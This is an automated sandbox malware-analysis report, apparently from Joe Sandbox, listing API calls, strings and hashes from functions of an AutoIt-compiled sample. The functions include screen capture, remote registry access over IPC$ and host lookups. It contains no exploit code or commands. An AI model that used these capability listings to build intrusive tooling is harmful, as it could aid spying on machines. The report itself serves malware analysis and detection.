Function 0026731A Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0026738F
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 0026739B
CreateCompatibleDC.GDI32(?), ref: 002673A7
SelectObject.GDI32(00000000,?), ref: 002673B4
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00267408
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00267444
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00267468
SelectObject.GDI32(00000006,?), ref: 00267470
DeleteObject.GDI32(?), ref: 00267479
DeleteDC.GDI32(00000006), ref: 00267480
ReleaseDC.USER32(00000000,?), ref: 0026748B

Strings

(, xrefs: 00267410

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: de0496d5ace25da153dd2bd00debf706d3e07ae096d96ff767380af22b0bdfa2
Instruction ID: fcd71adafe8bd777e038a8e7ba7d55f75fe0fa0e0d1826cf736ddbec6c44564a
Opcode Fuzzy Hash: de0496d5ace25da153dd2bd00debf706d3e07ae096d96ff767380af22b0bdfa2
Instruction Fuzzy Hash: 06513771914209EFCB14CFA8EC88EAEBBB9EF48310F148429F95A97310D771A9908B50

Function 001F6A8C Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00210957: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,001F6B0C,?,00008000), ref: 00210973

Part of subcall function 001F4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,001F4743,?,?,001F37AE,?), ref: 001F4770

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 001F6BAD
SetCurrentDirectoryW.KERNEL32(?), ref: 001F6CFA

Part of subcall function 001F586D: _wcscpy.LIBCMT ref: 001F58A5

Part of subcall function 0021363D: _iswctype.LIBCMT ref: 00213645

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 0022E496
Unterminated string, xrefs: 0022E7E4
AU3!, xrefs: 001F6B61
Bad directive syntax error, xrefs: 0022E79D
Error opening the file, xrefs: 0022E43D, 0022E4B8
EA06, xrefs: 0022E452
#include depth exceeded. Make sure there are no recursive includes, xrefs: 0022E421

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-1018226102
Opcode ID: 0e736d22a7f9136a7b9de81c29e34503ae2ccc4fa894e6de13650f5a5a3012e3
Instruction ID: 6d9760a410ab8f9f1b9441112fabb61231527bfe37f358125d22e648799e4bb6
Opcode Fuzzy Hash: 0e736d22a7f9136a7b9de81c29e34503ae2ccc4fa894e6de13650f5a5a3012e3
Instruction Fuzzy Hash: DF02BB30118345AFCB24EF60D8819BFBBE5EFA9314F00091DF68A972A1DB70D959CB52

Function 00252D36 Relevance: 19.7, APIs: 13, Instructions: 214windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00252D50
GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 00252DDD
GetMenuItemCount.USER32(002B5890), ref: 00252E66
DeleteMenu.USER32(002B5890,00000005,00000000,000000F5,?,?), ref: 00252EF6
DeleteMenu.USER32(002B5890,00000004,00000000), ref: 00252EFE
DeleteMenu.USER32(002B5890,00000006,00000000), ref: 00252F06
DeleteMenu.USER32(002B5890,00000003,00000000), ref: 00252F0E
GetMenuItemCount.USER32(002B5890), ref: 00252F16
SetMenuItemInfoW.USER32(002B5890,00000004,00000000,00000030), ref: 00252F4C
GetCursorPos.USER32(?), ref: 00252F56
SetForegroundWindow.USER32(00000000), ref: 00252F5F
TrackPopupMenuEx.USER32(002B5890,00000000,?,00000000,00000000,00000000), ref: 00252F72
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00252F7E

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 3993528054-0
Opcode ID: d76b6cd7bec1892de06e60e18b381ce85fc49ea89926c4f7f5df0eb6443d652d
Instruction ID: b40f84525e6cb8545f5fc178317642f25d86211d067e06cba4277126bfc90611
Opcode Fuzzy Hash: d76b6cd7bec1892de06e60e18b381ce85fc49ea89926c4f7f5df0eb6443d652d
Instruction Fuzzy Hash: 5E71F770615216FAEB218F14DC49FAABF64FF06325F100215FA19A61E1C7B16C7CDB58

Function 002688AB Relevance: 19.6, APIs: 10, Strings: 1, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 002688D7
CoInitialize.OLE32(00000000), ref: 00268904
CoUninitialize.OLE32 ref: 0026890E
GetRunningObjectTable.OLE32(00000000,?), ref: 00268A0E
SetErrorMode.KERNEL32(00000001,00000029), ref: 00268B3B
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00282C0C), ref: 00268B6F
CoGetObject.OLE32(?,00000000,00282C0C,?), ref: 00268B92
SetErrorMode.KERNEL32(00000000), ref: 00268BA5
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00268C25
VariantClear.OLEAUT32(?), ref: 00268C35

Strings

,,(, xrefs: 002688C1

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID: ,,(
API String ID: 2395222682-3264390594
Opcode ID: ee9c5a6e03a6237b151af03018b6820344c11ef4732656fd75f2e85969274c52
Instruction ID: 20260ff7ec8bdcb68f86b7d826340169b360c8d6ab321e7158a11361373cfe01
Opcode Fuzzy Hash: ee9c5a6e03a6237b151af03018b6820344c11ef4732656fd75f2e85969274c52
Instruction Fuzzy Hash: 93C124B1218305AFD700EF64C88492AB7E9FF89348F004A5DF98ADB251DB71ED95CB52

Function 002477DC Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 001F7BCC: _memmove.LIBCMT ref: 001F7C06

_memset.LIBCMT ref: 0024786B
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 002478A0
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 002478BC
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 002478D8
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00247902
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 0024792A
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00247935
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0024793A

Strings

\CLSID, xrefs: 00247822
SOFTWARE\Classes\, xrefs: 0024780C
\IPC$, xrefs: 00247882

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: f2b1fd82b58c287eb679396dadccfcefda6ce7449fd35b0c0801ac7e2b06f7f8
Instruction ID: 9f3f156ec6c228b2b0a3fffe1f010d4a3ccbeb27152eb8179c0a80079331f2e3
Opcode Fuzzy Hash: f2b1fd82b58c287eb679396dadccfcefda6ce7449fd35b0c0801ac7e2b06f7f8
Instruction Fuzzy Hash: 29410572C1462DABDB15EFA4EC95DFEB778BF18310F404069EA15A32A1EB705E14CB90

Function 00270E1A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,0026FDAD,?,?), ref: 00270E31

Strings

HKEY_CURRENT_USER, xrefs: 00270F10
HKCU, xrefs: 00270F21
HKLM, xrefs: 00270EAF
HKEY_CURRENT_CONFIG, xrefs: 00270EEE
HKEY_USERS, xrefs: 00270F32
HKEY_LOCAL_MACHINE, xrefs: 00270E9A
HKCR, xrefs: 00270ED9
HKEY_CLASSES_ROOT, xrefs: 00270EC4
HKCC, xrefs: 00270EFF
HKU, xrefs: 00270F43

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: c4056722b10feff0d7e13bb7785d1f5793d6bd34a8f8f72e570516990273eb3a
Instruction ID: d0a02bcf67a39f399b4e58912eb3a865553c077d0e03edaa949224c68e5ed3a0
Opcode Fuzzy Hash: c4056722b10feff0d7e13bb7785d1f5793d6bd34a8f8f72e570516990273eb3a
Instruction Fuzzy Hash: 23415C3113024ACBCF10EF10D896AEE37A4BF26314F648415FD991B692DF7099BACB61

Function 0024F7A1 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,0022E2A0,00000010,?,Bad directive syntax error,0027F910,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 0024F7C2
LoadStringW.USER32(00000000,?,0022E2A0,00000010), ref: 0024F7C9

Part of subcall function 001F7DE1: _memmove.LIBCMT ref: 001F7E22

_wprintf.LIBCMT ref: 0024F7FC
__swprintf.LIBCMT ref: 0024F81E
MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 0024F88D

Strings

Error: , xrefs: 0024F85B
Line %d (File "%s"):, xrefs: 0024F833
., xrefs: 0024F873
Line %d:, xrefs: 0024F818
%s (%d) : ==> %s.: %s %s, xrefs: 0024F7F7

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 1506413516-4153970271
Opcode ID: 3cfdb8aa9583eaa6c1591401cf2cb9609223042a245381ee3f9bda0dcecd9d60
Instruction ID: 6b65b801c174fa5ed5c48c51ada457ec93fbeb5b4b67f64bc6c87c4c61081e46
Opcode Fuzzy Hash: 3cfdb8aa9583eaa6c1591401cf2cb9609223042a245381ee3f9bda0dcecd9d60
Instruction Fuzzy Hash: ED216F3191421EEFCF15EF90CC1AEFD7779BF25300F040466B619660A1EB719668DB50

Function 002552C7 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 001F7BCC: _memmove.LIBCMT ref: 001F7C06

Part of subcall function 001F7924: _memmove.LIBCMT ref: 001F79AD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00255330
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00255346
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00255357
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00255369
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0025537A

Strings

open , xrefs: 002552DF
play PlayMe wait, xrefs: 00255364
play PlayMe, xrefs: 00255375
status PlayMe mode, xrefs: 0025532B
alias PlayMe, xrefs: 00255309
close PlayMe, xrefs: 00255341, 0025536E

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 2c8b5497e7e5ab2dd318716de396eeacc0ca66ee27c7094e179e8df4954ae4f0
Instruction ID: c2771789953266bf94c7ee6cb44253818ea6f10ece191920f3fe551de4f5117f
Opcode Fuzzy Hash: 2c8b5497e7e5ab2dd318716de396eeacc0ca66ee27c7094e179e8df4954ae4f0
Instruction Fuzzy Hash: 03116021A7052E7AE724BA61CC5ADFFAB7CFBA6B54F000469B905A20D1EEA00D54C5A1

Function 002546B7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 002546D2
gethostname.WSOCK32(?,00000100), ref: 002546EC
gethostbyname.WSOCK32(?), ref: 002546F9
_wcscpy.LIBCMT ref: 00254721
_memmove.LIBCMT ref: 00254734
inet_ntoa.WSOCK32(?), ref: 0025473F
_strcat.LIBCMT ref: 0025474D
_wcscpy.LIBCMT ref: 00254764
WSACleanup.WSOCK32 ref: 00254772
_wcscpy.LIBCMT ref: 00254780

Strings

0.0.0.0, xrefs: 0025471B

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: 3257d645e66be47480b6960c7ed1b9cfe672d00998ad785e5f12582f6c0d892a
Instruction ID: a85d8e8c3fa783561664776d8458d0f3eea078381d3985fcb6a26d003d403f07
Opcode Fuzzy Hash: 3257d645e66be47480b6960c7ed1b9cfe672d00998ad785e5f12582f6c0d892a
Instruction Fuzzy Hash: BF113531524104ABCB24BB30EC4AEEAF7BCEB16312F0401BAF80992091FF7089E58B55

Function 00254F75 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00254F7A

Part of subcall function 0021049F: timeGetTime.WINMM(?,7694B400,00200E7B), ref: 002104A3

Sleep.KERNEL32(0000000A), ref: 00254FA6
EnumThreadWindows.USER32(?,Function_00064F28,00000000), ref: 00254FCA
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00254FEC
SetActiveWindow.USER32 ref: 0025500B
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00255019
SendMessageW.USER32(00000010,00000000,00000000), ref: 00255038
Sleep.KERNEL32(000000FA), ref: 00255043
IsWindow.USER32 ref: 0025504F
EndDialog.USER32(00000000), ref: 00255060

Strings

BUTTON, xrefs: 00254FDE

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 7eea7ed1e6e7a2b31310d35c04a085ccdc56980a4908ad365d6c8cd1c9257eaa
Instruction ID: 9b280192369de680286f6957ac265a8e74dab8274014cd8ab1e51a592afac8f5
Opcode Fuzzy Hash: 7eea7ed1e6e7a2b31310d35c04a085ccdc56980a4908ad365d6c8cd1c9257eaa
Instruction Fuzzy Hash: AC21CF71218601AFE7606F30FD8DB263BA9FB09746F441128F909811B0CB719DF88B69

Function 0025D58D Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 001F9837: __itow.LIBCMT ref: 001F9862
Part of subcall function 001F9837: __swprintf.LIBCMT ref: 001F98AC

CoInitialize.OLE32(00000000), ref: 0025D5EA
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 0025D67D
SHGetDesktopFolder.SHELL32(?), ref: 0025D691
CoCreateInstance.OLE32(00282D7C,00000000,00000001,002A8C1C,?), ref: 0025D6DD
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 0025D74C
CoTaskMemFree.OLE32(?,?), ref: 0025D7A4
_memset.LIBCMT ref: 0025D7E1
SHBrowseForFolderW.SHELL32(?), ref: 0025D81D
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0025D840
CoTaskMemFree.OLE32(00000000), ref: 0025D847
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 0025D87E
CoUninitialize.OLE32(00000001,00000000), ref: 0025D880

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: b93a90fc28089d6ee7aa04aa5862a3a471597654a7a6bb1d1959562c17572028
Instruction ID: ee52e8dcdb9618760714b1bdf16d9df61090c0293c3541d05698e6e3ab656dbf
Opcode Fuzzy Hash: b93a90fc28089d6ee7aa04aa5862a3a471597654a7a6bb1d1959562c17572028
Instruction Fuzzy Hash: 7BB11C75A10109AFDB14DFA4C888EAEBBB9FF48305F0084A9F909DB261DB30ED45CB54

Function 0024C267 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 0024C283
GetWindowRect.USER32(00000000,?), ref: 0024C295
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 0024C2F3
GetDlgItem.USER32(?,00000002), ref: 0024C2FE
GetWindowRect.USER32(00000000,?), ref: 0024C310
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 0024C364
GetDlgItem.USER32(?,000003E9), ref: 0024C372
GetWindowRect.USER32(00000000,?), ref: 0024C383
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 0024C3C6
GetDlgItem.USER32(?,000003EA), ref: 0024C3D4
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 0024C3F1
InvalidateRect.USER32(?,00000000,00000001), ref: 0024C3FE

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 78dd454e572fb417780ae9d9f72951a6e550639962937ea9559416673ba65c33
Instruction ID: b424d42e70d6bb6d66c5e856fe44eb5d631f81fdea0a7b08e92dab0d7fe69e72
Opcode Fuzzy Hash: 78dd454e572fb417780ae9d9f72951a6e550639962937ea9559416673ba65c33
Instruction Fuzzy Hash: C7514271B10205AFDB18CFADDD89AAEBBBAFB88711F14812DF919D7290D7709D408B10

Function 001F201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 001F1B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,001F2036,?,00000000,?,?,?,?,001F16CB,00000000,?), ref: 001F1B9A

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 001F20D3
KillTimer.USER32(-00000001,?,?,?,?,001F16CB,00000000,?,?,001F1AE2,?,?), ref: 001F216E
DestroyAcceleratorTable.USER32(00000000), ref: 0022BCA6
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,001F16CB,00000000,?,?,001F1AE2,?,?), ref: 0022BCD7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,001F16CB,00000000,?,?,001F1AE2,?,?), ref: 0022BCEE
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,001F16CB,00000000,?,?,001F1AE2,?,?), ref: 0022BD0A
DeleteObject.GDI32(00000000), ref: 0022BD1C

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: de7fe6e8fb6b73cbf85378e0669e17ceadf15289c869ce2f04de729b56a675dc
Instruction ID: 918c060a3b88e3228715454452ddd3bd35974ab2e432eb6c31171896aee00ea9
Opcode Fuzzy Hash: de7fe6e8fb6b73cbf85378e0669e17ceadf15289c869ce2f04de729b56a675dc
Instruction Fuzzy Hash: EF617A31114A25EFCB3AAF14E949B39B7F1FF44312F508629E6468AA70CB71A8D1DF50

Function 001F21A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 001F25DB: GetWindowLongW.USER32(?,000000EB), ref: 001F25EC

GetSysColor.USER32(0000000F), ref: 001F21D3

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
